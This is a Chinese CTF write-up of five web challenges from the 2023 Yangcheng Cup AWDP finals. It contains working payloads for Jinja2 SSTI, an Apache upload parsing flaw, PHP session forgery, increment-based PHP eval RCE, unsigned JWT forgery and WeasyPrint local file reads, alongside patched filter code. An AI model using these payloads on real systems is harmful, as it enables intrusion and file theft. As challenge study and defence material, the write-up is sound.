2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全
终于迎来了我的第一百篇文章。
这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。
总结一下:败北,还是太菜了得继续修炼一下。
一、Break
ezSSTI
看到是SSTI,焚靖直接一把梭了。
python -m fenjing crack --method GET --inputs name --url 'http://10.1.110.2:20000/'
瞎了,执行ls /
时候flag文件在命令旁边没看见,find命令找了好久呜呜呜。
痛失一血,只有二血。。。。
源码如下:
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
easyupload
题目描述:小明同学学会了用apache搭建网站,你能帮助他找到存在的安全问题么?
开题是一个非常猛男的网页,需要登录。
本来想爆破的,看了一下源码,发现账号密码就在源码里面。
登录后是一个文件上传的界面。
题目提到了Apache
,那么我们首先想到的就是Apache
解析漏洞啦。
上传文件名为shell.php.txt
,检查时候php拿到的是.txt
后缀,解析时候Apache把文件当成是.php
后缀。
访问上传文件的链接在源码里面。
payload:
1=system('tac /flag.txt');
BabyMemo
这题的话知识点就是php的session。主要考察的是代码逻辑漏洞,题目源码中本来用于过滤非法字符串../
的功能经过一系列操作之后可以用于伪造session文件。
注,自己部署的话记得在index.php
中加一句session_start();
memo翻译过来是备忘录。
源码见fix。
主要是memo.php
中的这两段代码。
1、给我们定义任意后缀的权力,但是过滤了../
。
然后把文件写入/tmp
目录(也是存放session文件的目录),文件名是用户名_随机数.后缀
。下图是比赛时的一张截图。
这里先放一部分思路,就是我们自定义后缀名为./
时候,文件名是用户名_随机数../
,经过过滤替换后变成用户名_随机数
。
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
。如果用户名是sess,PHPSESSID设置成随机数,那么文件名就是sess_PHPSESSID
。我们写入的文件就代替了原先的session文件成为程序现在的session文件。
2、如果$_SESSION['admin'] === true
,那就给我们flag。
总结一下思路就是伪造session文件使$_SESSION['admin'] === true
当时题目用的session处理器就是默认的php处理器
。session文件的内容和下图相似:
我们伪造的文件内容应该是admin|b:1;username|s:4:"sess";memos|a:2:{i:0;s:3:"aaa";i:1;s:3:"aaa";}
因为自定义后缀的话,写入文件的内容是经过一次rot13编码的,所以我们写入的应该是rot13解码后的内容nqzva|o:1;hfreanzr|f:4:"frff";zrzbf|n:2:{v:0;f:3:"nnn";v:1;f:3:"nnn";}
点击下载,抓包。然后我们自定义后缀,写入、下载文件。
用户名:sess
POST:compression=./&backup=1
文件被写入到了/tmp/sess_41983787c3a288d9
此时随机数是41983787c3a288d9
,如果我们把它设置成PHPSESSID
,那就导致刚刚我们写入的文件变成了session文件了,文件内容admin|b:1
导致我们可以满足$_SESSION['admin'] === true
,直接获得了flag。
fuzee_rce
爆破得出账号admin
,密码admin123
登录后自动跳转到/goods.php
路由,看不见源码,啥都看不见。
扫了一下后台还存在一个check.php
文件,应该是用来限制RCE过滤的。
看不见源码的话,猜测这里是和[羊城杯 2020]easyser
那题一样,需要自己找到传参名字然后题目才会返回更多的信息。Fix阶段看了一下源码,确实如此,需要GET传参对应参数后才会高亮源码。
一开始拿arjun
工具扫了一下没有发现参数。其实应该直接拿burp爆破的。
arjun -u http://10.1.110.2:20003/goods.php
接下来是部署在本地的复现。
首先是在/goods.php
路由暴力爆破参数。得到参数是w1key
。(爆破量有点大,burp太慢的话可以拿python脚本爆)
题目中GET提交w1key
参数得到源码。
<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?>
首先是第一个if,GET提交的w1key
要满足is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999
。
聚焦到最后两个条件,首先想到的就是科学计数法。payload:?w1key=1e9
。
但是奇怪的是,这个payload本地可以过,题目过不了,嘶。
修改一下vps上的源码看看是哪个条件没过。
发现是intval($w1key) == $w1key
条件不满足。
这个判断如果改成intval(1e9) == '1e9'
就返回true
。
研究了一下,是php版本问题。把我部署题目的vps上的php版本改成7就可以了,当然,我本地就是php7。
payload:
?w1key=1e9
原理:
is_numeric($w1key) //is_numeric函数可识别科学计数法
intval($w1key) == $w1key //intval('1e9') === 1,$w1key === '1e9' =='1'
strlen($w1key) <= 3 //1e9 长度是3
$w1key > 999999999 //1e9 值是1000000000,多1
然后是第二个if,burp跑一下单个字符的fuzz
看看哪些能用。可以用的字符是:
、.
、;
、'
、/
、[]
、=
、$
、()
、+
、/
、_
一看就是自增RCE,payload库里面挑一个合适的。
$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是 %ff=system&_=cat /f1agaaa
payload:
GET:?w1key=1e9POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag
waf源码如下。
Oh! My PDF
python语言的,部署本地倒是废了一些功夫。记录一下。
首先把源码包cv到vps上面。
然后把需要的库全安装好。
cd到源码放的目录下,运行nohup python3 -u app.py > out.log 2>&1 &
。
如果报错OSError: cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory. Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'
那就先运行命令apt-get install -y libpangocairo-1.0-0
。其他的报错基本上是库没有。
成功运行nohup python3 -u app.py > out.log 2>&1 &
后,同目录下会生成两个文件:
检查out.log
。发现题目源码是运行在了8080
端口。
访问vps-ip:8080
,发现题目源码运行成功!
坑点就是import jwt
,但是安装的包是PyJWT
重启服务ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
参考文章:
如何优雅的部署Python应用到Linux服务器?_python能否直接向linux储存文件_緈諨の約錠的博客-CSDN博客
Python代码部署到Linux(亲测成功)_python程序部署到linux_繁星、晚风的博客-CSDN博客
大码王的博客 (cnblogs.com)
手把手教你如何从零开始部署一个Python项目到服务器 - 知乎 (zhihu.com)
开始做题。源码如下:
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)# 设置应用的秘密密钥和数据库URI
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'# 初始化数据库
db = SQLAlchemy(app)# 正则表达式用于检查URL的有效性
URL_REGEX = re.compile(r'http(s)?://' # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)# 用户模型
class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)# 创建数据库
def create_database(app):with app.app_context():db.create_all()# 检查URL的有效性
def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True# 用户注册
@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html', message='User registered successfully')except:return render_template('register.html', message='Register Error!'), 500else:return render_template('register.html', message='please register first!')# 用户登录
@app.route('/login', methods=['POST', 'GET'])
def login():# 处理针对 '/login' 路径的 HTTP GET 和 POST 请求if request.method == 'POST':# 如果是 POST 请求,表示用户正在尝试登录data = request.form # 获取从用户提交的表单中获取的数据# 通过用户名从数据库中查找用户记录user = User.query.filter_by(username=data['username']).first()# 检查用户是否存在且密码是否匹配if user and check_password_hash(user.password, data['password']):# 如果用户存在且密码匹配# 生成访问令牌(JWT),包括用户名和是否为管理员的信息access_token = jwt.encode({'username': user.username, 'isadmin': False},app.config['SECRET_KEY'], # 使用配置的密钥进行签名algorithm="HS256" # 使用 HS256 算法进行签名)# 创建一个 Flask 响应对象,重定向到名为 'ohmypdf' 的路由res = make_response(redirect(url_for('ohmypdf')))# 在响应中设置 Cookie,将访问令牌存储在客户端res.set_cookie('access_token', access_token)# 返回响应和状态码 200(表示成功)return res, 200else:# 如果用户不存在或密码不匹配,返回带有错误消息的登录页面和状态码 500(服务器内部错误)return render_template('login.html', message='Invalid username or password'), 500else:# 如果是 HTTP GET 请求,返回登录页面return render_template('login.html'), 200# 主页,关键看这里
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():# 从请求中获取访问令牌(如果存在)access_token = request.cookies.get('access_token')if not access_token:# 如果没有访问令牌,将用户重定向到登录页面return redirect(url_for("login"))try:# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']except:# 如果解码失败,返回登录页面并显示“Invalid access token”消息return render_template('login.html', message='Invalid access token')if not isadmin:# 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbiddenreturn render_template('index.html', message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':# 如果收到【POST】请求的参数【url】url = request.form.get('url')if is_valid_url(url):try:# 创建HTML对象,从给定的URL获取内容html = HTML(url=url)# 生成PDF文件,名字是output.pdfpdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:# 如果生成PDF出错,返回错误消息,HTTP状态码为500 Internal Server Errorreturn f'Error generating PDF', 500else:# 如果URL无效,返回错误消息return f'Invalid URL!'else:# 如果是GET请求,渲染名为“index.html”的模板并返回return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)
先简要说明一下全题思路。
注册登录用户后,伪造JWT使自己成为admin。然后利用Python中WeasyPrint库的漏洞读取任意文件。
首先伪造JWT,这里密钥由os.urandom(10)
生成,无法预测。
但是看源码如何解密JWT的,没有验证密钥。所以这里的JWT可以用空密钥来伪造。
# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法
decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']
先看看JWT构成。
然后用脚本伪造空密钥,isadmin
为true的JWT。
import base64def jwtBase64Encode(x):return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ": "JWT","alg": "HS256"}'
payload = '{"username": "admin","isadmin": true}'print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')#eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsImlzYWRtaW4iOiB0cnVlfQ.
显然,现在我们已经是admin了。
然后就是利用Python中WeasyPrint库的漏洞读取任意文件,这部分的原题是[FireshellCTF2020]URL TO PDF
。
先看看对输入URL的限制。is_valid_url(url)
,is_valid_url函数中又是用URL_REGEX.match(url)
来判断的。归根结底,我们输入的url要满足以下正则表达式。
URL_REGEX = re.compile(r'http(s)?://' # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)
这段正则表达式 函数URL_REGEX()
用于匹配 URL 地址。下面是它的具体含义:
http(s)?://
: 匹配以 “http://” 或 “https://” 开头的部分。其中(s)?
表示 “s” 字符可选,即匹配 “http://” 或 “https://”。(?: ... )+
: 这是一个非捕获分组,用于匹配一个或多个字符。它包含了以下内容:[a-zA-Z]
: 匹配大小写字母。[0-9]
: 匹配数字。[$-_@.&+]
: 匹配一些特殊字符,包括 “$”, “-”, “_”, “@”, “.”, “&”, “+”。[!*\(\),]
: 匹配一些其他特殊字符,包括 “!”, “*”, “(”, “)”, “,”。(?:%[0-9a-fA-F][0-9a-fA-F])
: 匹配以 “%” 开头的两位十六进制数,通常用于 URL 编码。
综合起来,这个正则表达式可以有效地匹配标准的 URL 地址,包括常见的字符和特殊字符。所以说我们只能输入http(s)://什么什么
,不能直接使用伪协议file:///etc/passwd
。
然后就是利用WeasyPrint
库的漏洞了。
做题时候如果看不见源码,怎么验证是WeasyPrint
库?vps开个监听,然后PDF转换器访问对应端口即可。可以看见在U-A
头里面能看见WeasyPrint
,这也算是一种特征。
WeasyPrint
是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印。
WeasyPrint
使用了自己定义的一套HTML标签,使得无法在其上执行JS。但是WeasyPrint
会把所有它支持的东西 都请求一遍然后放在 PDF 里。
这里出现了漏洞,WeasyPrint可以解析解析 <link>
标签,当你使用<link>
标签时,他会把标签指向的内容给下下来返回在PDF内。我们在 <link>
标签内 href
加载 file://
就可以实现 SSRF + 任意文件读取。
开始实战:
vps上放一个link.html,内容如下:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
</html>
接下来用PDF生成器访问http://vps-ip/link.html
下载下来的 PDF
虽说没有显示,但是放到binwalk -e 文件名
后打开解压的文件 中看确实能看到file://
协议读取到的内容,提取出即可。
同理,我们把<link rel="attachment" href="file:///etc/passwd">
换成<link rel="attachment" href="file:///flag">
就能读取flag文件。
参考文章:
挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞 - FreeBuf网络安全行业门户
Hackerone 50m-ctf writeup(第二部分) - 先知社区 (aliyun.com)
HackerOne的ssrf漏洞报告 | CN-SEC 中文网
深入浅出SSRF(二):我的学习笔记 | 悠远乡 (1dayluo.github.io)
从PDF导出到SSRF | CTF导航 (ctfiot.com)
[FireshellCTF2020]web wp | Z3ratu1’s blog
[BUUCTF][FireshellCTF2020]URL TO PDF_Y4tacker的博客-CSDN博客
[FireshellCTF2020]URL_TO_PDF (proben1.github.io)
**做后补充:**做完想到当时决赛是断网的,不能使用vps。问了一下tel
爷,我们可以在自己插网线的机器上开http,因为和服务器同属于一个内网,访问ip可以访问到。
二、Fix
web1
初始源码:
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
修后源码,正则过滤部分多加了。
但是没过,很奇怪为什么过滤了单个花括号{
及其URL编码都不行,当时check后 也不回显是waf多了还是少了。迷。
from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{|set|\[|\(|%7b|eval|1|2|3|4|5|6|7|8|9",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)
贴一个Enterpr1se
师傅的waf:
还需要过滤引号、斜杠等符号。
web2
初始源码:(dadaadwdwfegrgewg.php
)
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>
修后源码:(黑名单变成白名单+只允许出现一个点号)前者防止.htaccess
配置文件,后者防Apache解析漏洞。
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".jpg",".png",".jpeg"); //【修改点一】$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['upload_file']['name'], '.')===1) {//【修改点二】$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?phpif($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>
赛后和师傅们讨论了发现,除了我那种Apache解析漏洞的做法,还能通过.htaccess
配置文件修改配置项解析png
等格式的图片。属于是一题多解了,两个都不是非预期,都会check。
web3
初始源码:
(index.php)
<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {$_SESSION['username'] = $_POST['username'];if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Simple Memo Website</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1 {color: darkslategray;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"] {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}button[type="submit"]:hover {background-color: steelblue;}</style>
</head><body><h1>Login</h1><form action="index.php" method="post"><label for="username">Username:</label><input type="text" name="username" id="username" required><button type="submit">Login</button></form>
</body></html>
memo.php
<?php
session_start();if (!isset($_SESSION['username'])) {header('Location: index.php');exit();
}if (isset($_POST['memo']) && !empty($_POST['memo'])) {$_SESSION['memos'][] = $_POST['memo'];
}if (isset($_POST['backup'])) {$backupMemos = implode(PHP_EOL, $_SESSION['memos']);$random = bin2hex(random_bytes(8));$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;// Handle compression method and file extension$compressionMethod = $_POST['compression'] ?? 'none';switch ($compressionMethod) {case 'gzip':$compressedData = gzencode($backupMemos);$filename .= '.gz';$mimeType = 'application/gzip';break;case 'bzip2':$compressedData = bzcompress($backupMemos);$filename .= '.bz2';$mimeType = 'application/x-bzip2';break;case 'zip':$zip = new ZipArchive();$zipFilename = $filename . '.zip';if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {$zip->addFromString($filename, $backupMemos);$zip->close();}$filename = $zipFilename;$mimeType = 'application/zip';break;case 'none':$compressedData = $backupMemos;$filename .= '.txt';$mimeType = 'text/plain';break;default:// I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~$compressedData = str_rot13($backupMemos);$filename .= '.' . $compressionMethod;$mimeType = 'text/plain';while (strpos($filename, '../') !== false) {$filename = str_replace('../', '', $filename);}break;}file_put_contents($filename, $compressedData);// Send headers and output file contentheader('Content-Description: File Transfer');header('Content-Type: ' . $mimeType);header('Content-Disposition: attachment; filename="' . basename($filename) . '"');header('Content-Length: ' . filesize($filename));readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Memo</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1,h2 {color: darkslategray;margin-top: 30px;margin-bottom: 10px;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"],select {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}</style>
</head><body><h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1><form action="memo.php" method="post"><label for="memo">New Memo:</label><input type="text" name="memo" id="memo" required><button type="submit">Add Memo</button></form><h2>Here 1s Your Memos:</h2><ul><?php foreach ($_SESSION['memos'] as $memo) : ?><li><?php echo htmlspecialchars($memo); ?></li><?php endforeach; ?><?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?><li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag --><?php endif ?></ul><form action="memo.php" method="post"><label for="compression">Compression method:</label><select name="compression" id="compression"><option value="none">None</option><option value="gzip">GZIP</option><option value="bzip2">BZIP2</option><option value="zip">ZIP</option></select><button type="submit" name="backup" value="1">Export Backup</button></form>
</body></html>
未知攻焉知防。会打的话其实过滤很简单,对用户名加一个限制使其不等于sess
就行了。
index.php加个waf就行了。
<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {if($_POST['username']!="sess"){$_SESSION['username'] = $_POST['username'];}if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>
web4
初始源码:
goods.php
文件
<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?>
check.php
文件
<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!"); }}else{die("太长了"); }}
check.php
文件多加点过滤就能fix。(百分号%
(%)一定要加)
<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\_$()+=;\%]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!");}}else{die("太长了");}
}
web5
初始源码:
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'db = SQLAlchemy(app)URL_REGEX = re.compile(r'http(s)?://' # http or httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)def create_database(app):with app.app_context():db.create_all()def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html',message='User registered successfully')except:return render_template('register.html',message='Register Error!'),500else:return render_template('register.html',message='please register first!')@app.route('/login', methods=['POST','GET'])
def login():if request.method == 'POST':data = request.formuser = User.query.filter_by(username=data['username']).first()if user and check_password_hash(user.password, data['password']):access_token = jwt.encode({'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")res = make_response(redirect(url_for('ohmypdf')))res.set_cookie('access_token',access_token)return res, 200else:return render_template('login.html',message='Invalid username or password'), 500else:return render_template('login.html'), 200@app.route('/', methods=['GET', 'POST'])
def ohmypdf():access_token = request.cookies.get('access_token')if not access_token:return redirect(url_for("login"))try:decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})isadmin = decoded_token['isadmin']except:return render_template('login.html',message='Invalid access token')if not isadmin:return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':url = request.form.get('url')if is_valid_url(url):try:html = HTML(url=url)pdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:return f'Error generating PDF', 500else:return f'Invalid URL!'else:return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)
这题暂时没打听到哪位佬修出来了。个人感觉可以从jwt检验密钥
、检验转PDF文件内容
、禁止加载html文件
、换一个PDF库
这些方面入手。
相关文章:
![](https://img-blog.csdnimg.cn/img_convert/71ead415ff7eb0be14898eb0441a489f.png)
2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全
终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。BreakFix,其实就是CTFFix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 一、Break ezSSTI 看到是SSTI,焚靖直接一把梭…...
![](https://img-blog.csdnimg.cn/img_convert/1a17aecd2aed510a6ec357508795762e.png)
如何用好免费的ChatGPT
如何用好免费的ChatGPT 前言ChatGPT使用入口在线体验地址:点我体验 ChatGPT介绍ChatGPT初级使用技巧初级使用技巧:清晰明了的问题表达 ChatGPT中级使用语法中级使用语法:具体化问题并提供背景信息 ChatGPT高级使用高级使用:追问、…...
![](https://www.ngui.cc/images/no-images.jpg)
golang 实现带令牌限流的JWT demo
demo里提供了三个接口,认证取token,刷新token,获取信息,token过期前也会在header里写上新token(便于客户端更换) package mainimport ("fmt""net/http""sync""time&qu…...
![](https://www.ngui.cc/images/no-images.jpg)
【web开发】9、Django(4)ajax请求
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、Ajax是什么?二、使用步骤二、订单管理 提示:以下是本篇文章正文内容,下面案例可供参考 一、Ajax是什么? Ajax&…...
![](https://img-blog.csdnimg.cn/img_convert/242c0e7956b7cfa698693efeb1ee9918.png)
消息队列中,如何保证消息的顺序性?
本文选自:advanced-java 作者:yanglbme 问:如何保证消息的顺序性? 面试官心理分析 其实这个也是用 MQ 的时候必问的话题,第一看看你了不了解顺序这个事儿?第二看看你有没有办法保证消息是有顺序的…...
